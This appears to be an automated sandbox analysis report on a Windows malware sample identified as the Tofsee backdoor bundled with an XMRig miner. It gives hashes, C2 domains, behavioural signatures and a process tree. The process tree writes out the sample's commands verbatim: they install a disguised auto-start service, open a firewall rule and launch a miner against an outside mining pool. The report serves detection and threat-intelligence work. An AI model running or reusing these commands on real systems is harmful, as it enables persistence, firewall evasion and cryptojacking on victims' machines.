Analysis

  • max time kernel
    144s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06-02-2023 08:09

General

  • Target

    file.exe

  • Size

    305KB

  • MD5

    852de13db9455fd69afb25152d2bc190

  • SHA1

    6b4e8bf22a0b1ff29ad78177ffcfe6bfdc732987

  • SHA256

    ab513af96685a9154f2aed67e27d314bcc569e5189afd4cbadf8c2756aeffbd0

  • SHA512

    45d61be5a6dfba3f0208d4eb9aca17de4b4c95cbe518117230b65d88d59c83eef3c8852a4e4931ccbcf14996afc8f5e4bc3c85db17faceba1eabe19091f6f298

  • SSDEEP

    3072:8NGbtUZOLxKgai4DRqJapHyj/KCL2cXLFHKPC9sxA76ov3XpCYoMRKT:0tOLggaVIJBX/Xuk6oh

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ayqeoisr\
      2⤵
        PID:1968
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\heyzweub.exe" C:\Windows\SysWOW64\ayqeoisr\
        2⤵
          PID:556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ayqeoisr binPath= "C:\Windows\SysWOW64\ayqeoisr\heyzweub.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ayqeoisr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ayqeoisr
          2⤵
          • Launches sc.exe
          PID:1752
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1880
      • C:\Windows\SysWOW64\ayqeoisr\heyzweub.exe
        C:\Windows\SysWOW64\ayqeoisr\heyzweub.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1984

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\heyzweub.exe

        Filesize

        11.0MB

        MD5

        7b394af7d9df9d75b34e72a815d04be0

        SHA1

        66bdc7303c49c5edf3b567283462bb5bba4328f2

        SHA256

        66b5446a94366fa28862d2721ac6a66caeb5594f251d706f349fb8ab99c5186c

        SHA512

        2cfec9cd40006601754db04eb1d97c5bad162c8531fc72ac4e18545ab39ff6895fed034e5ce479a233ed0d3cd9ba25434eb023e068a8f54a5c9dbe84196f4135

      • C:\Windows\SysWOW64\ayqeoisr\heyzweub.exe

        Filesize

        11.0MB

        MD5

        7b394af7d9df9d75b34e72a815d04be0

        SHA1

        66bdc7303c49c5edf3b567283462bb5bba4328f2

        SHA256

        66b5446a94366fa28862d2721ac6a66caeb5594f251d706f349fb8ab99c5186c

        SHA512

        2cfec9cd40006601754db04eb1d97c5bad162c8531fc72ac4e18545ab39ff6895fed034e5ce479a233ed0d3cd9ba25434eb023e068a8f54a5c9dbe84196f4135

      • memory/556-56-0x0000000000000000-mapping.dmp

      • memory/764-61-0x0000000000000000-mapping.dmp

      • memory/1076-62-0x0000000000000000-mapping.dmp

      • memory/1112-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1112-92-0x0000000005870000-0x0000000005C7B000-memory.dmp

        Filesize

        4.0MB

      • memory/1112-98-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1112-95-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/1112-89-0x00000000001E0000-0x00000000001E5000-memory.dmp

        Filesize

        20KB

      • memory/1112-86-0x00000000001D0000-0x00000000001E0000-memory.dmp

        Filesize

        64KB

      • memory/1112-83-0x00000000001C0000-0x00000000001C6000-memory.dmp

        Filesize

        24KB

      • memory/1112-80-0x0000000001930000-0x0000000001B3F000-memory.dmp

        Filesize

        2.1MB

      • memory/1112-79-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1112-78-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1112-73-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1112-74-0x0000000000089A6B-mapping.dmp

      • memory/1276-76-0x0000000000400000-0x0000000000467000-memory.dmp

        Filesize

        412KB

      • memory/1752-63-0x0000000000000000-mapping.dmp

      • memory/1880-66-0x0000000000000000-mapping.dmp

      • memory/1968-55-0x0000000000000000-mapping.dmp

      • memory/1984-99-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/1984-106-0x00000000002D259C-mapping.dmp

      • memory/1984-101-0x0000000000240000-0x0000000000331000-memory.dmp

        Filesize

        964KB

      • memory/2040-67-0x00000000005BC000-0x00000000005D1000-memory.dmp

        Filesize

        84KB

      • memory/2040-59-0x0000000000400000-0x0000000000467000-memory.dmp

        Filesize

        412KB

      • memory/2040-58-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2040-57-0x00000000005BC000-0x00000000005D1000-memory.dmp

        Filesize

        84KB

      • memory/2040-68-0x0000000000400000-0x0000000000467000-memory.dmp

        Filesize

        412KB

      • memory/2040-54-0x0000000075D61000-0x0000000075D63000-memory.dmp

        Filesize

        8KB